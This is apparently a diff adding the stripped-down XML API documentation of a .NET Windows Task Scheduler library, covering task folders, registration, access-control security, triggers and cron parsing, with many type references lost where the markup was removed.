enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + An enumerable collection of folders that matches . + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Enumerates the tasks in the specified folder and its child folders. + + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + + Provides information and control for a collection of folders that contain tasks. + + + + + Gets the number of items in the collection. + + + + + Gets a value indicating whether the is read-only. + + + + + Gets the specified folder from the collection. + + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Gets the specified folder from the collection. + + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Adds an item to the . + + The object to add to the . + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Releases all resources used by this class. + + + + + Determines whether the specified folder exists. + + The path of the folder. + true if folder exists; otherwise, false. + + + + Gets a list of items in a collection. + + Enumerated list of items in the collection. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using the + or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. However, the user + interface and methods will always show the time translated to local time. The library makes every attempt to + maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be + checked if the Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time + adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is repeated after the + task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the + is unspecified. If the DateTime value Kind is then it will be used as is. If the + DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user interface and + methods will always show the time translated to local time. The library makes every attempt to maintain the Kind + value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be checked if the + Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the + value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will behave as follows: + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote 